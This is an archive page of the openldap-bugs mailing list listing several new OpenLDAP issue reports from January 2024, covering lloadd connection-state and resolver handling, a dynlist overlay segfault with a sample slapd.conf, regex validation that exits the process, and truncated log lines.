https://bugs.openldap.org/show_bug.cgi?id=10083 Issue ID: 10083 Summary: lload: Receiving a NoD while connection is closing already corrupts c_state Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- If the backend closes a connection with a NoD, two things happen: we won't be able to write to the socket and we receive the NoD message. lloadd might encounter those in either order, but handle_unsolicited() doesn't expect to be the second one to come in and happily overrides c_state, even if c_unlink() has been called by the write side already. upstream_destroy() eventually discovers the inconsistent state (LLOAD_C_CLOSING vs. LLOAD_C_DYING) and assert()s. A fix to handle_unsolicited() is coming. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10091] New: slapd segfaults when the dynlist overlay is applied on the frontend db (with `<memberOf-ad>@<static-oc>` parameters)
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10091 Issue ID: 10091 Summary: slapd segfaults when the dynlist overlay is applied on the frontend db (with `<memberOf-ad>@<static-oc>` parameters) Product: OpenLDAP Version: 2.6.6 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: philip.schildkamp(a)uni-koeln.de Target Milestone: --- Created attachment 974 --> https://bugs.openldap.org/attachment.cgi?id=974&action=edit Full stacktrace of the segfault Dear OpenLDAP Development-Team, first of all, thank You for Your continued efforts to provide this great software! I've run into a segfault when trying to apply the dynlist overlay to the frontend db. As I'm running Alpine Linux (based on musl libc), I've verified that this segfault also occurs under GLIBC-based distros. Furthermore, I've trimmed my config down to the bare minimum to provide a replicable setting. This segfault only occurs when I'm trying to use the full `dynlist-attrset` configuration (including the `+<memberOf-ad>@<static-oc>` parameters). If I only supply the `<group-oc> <URL-ad> <member-ad>` parts of the configruation, the segfault does not occur. And the segfault does not happen on startup, but when connecting to the running `slapd` instance. The version I'm running: > @(#) $OpenLDAP: slapd 2.6.6 (Aug 7 2023 12:57:03) $ My `slapd.conf` (the same segfault occures through a `cn=config` setup): > moduleload dynlist > > include /etc/openldap/schema/core.schema > > overlay dynlist > dynlist-attrset labeledURIObject labeledURI member+memberOf@groupOfNames > > database ldif > directory /tmp > suffix "dc=example,dc=com" I've attached a complete stacktrace of the segfault, which is traced back to `dynlist.c:2057`. If I can provide any other means of debugging (e.g. a coredump) or help in locating the root of this issue, I'd be happy to! If this issue is known or the dynlist overlay does not support this functionality on the frontend db, I'm sorry for the noise; but as far as I've been able to verify, there is no mention of such a limitation within the `slapo-dynlist` manpage (which does mention the possibility to apply the dynlist overlay to the frontend db), nor did I find an issue regarding exactly this error. Again, thank You for Your efforts and kind regards, Philip Schildkamp -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 10070] New: Allow running when /etc/resolv.conf is missing
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10070 Issue ID: 10070 Summary: Allow running when /etc/resolv.conf is missing Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- A resolv.conf file might be missing, usually that means that no name services are available (often in test environments) or in some container environments where the resolver is assumed to run on localhost. We should adopt the proposal discussed in https://github.com/libevent/libevent/issues/1155#issuecomment-918826471 which lets us honour the file if it exists but keep the libevent default, allowing to deal with both cases, no name resolution is needed (all URIs are numeric) and the implicit local resolver. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10089] New: regex that does not pass `regtest()` causes the entire process to exit
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10089 Issue ID: 10089 Summary: regex that does not pass `regtest()` causes the entire process to exit Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: gburd(a)symas.com Target Milestone: --- There are 6 locations in `aclparse.c` in the function `parse_acl()` that call `regtest()` validating a regex expression before its use. Currently, when `regtest()` finds an issue it calls `exit()` and the process must be restarted. It seems that a better approach would be to allow the failures to be processed by the caller where the severity might be better understood. In some (most?) cases it's likely just fine for the process to continue after some information about the issue is logged and resources are released properly. https://git.openldap.org/openldap/openldap/-/blob/master/servers/slapd/aclp… -- You are receiving this mail because: You are on the CC list for the issue.

1 11

[Issue 10105] New: slapd logging fails to add newline with large search filters
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10105 Issue ID: 10105 Summary: slapd logging fails to add newline with large search filters Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- When using slapd logging rather than syslog, it fails to write a newline if the search filter is extremely long. Found this when examining the logs where the search filter has 500 users in it, in the form of: "(&(objectClass=userobject)(|(uid=abc)(uid=xyz)....)" In the slapd log, the filter gets truncated and the next log line is appended, so we end up with ...(uid=joe.hSep 27 18:21:09 hostname slapd[6373]: conn=1234 op=123 SEARCH RESULT tag=101 err=0 qtime=0.xxxx etime=0.xxx nentries=500 text= -- You are receiving this mail because: You are on the CC list for the issue.

1 9

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs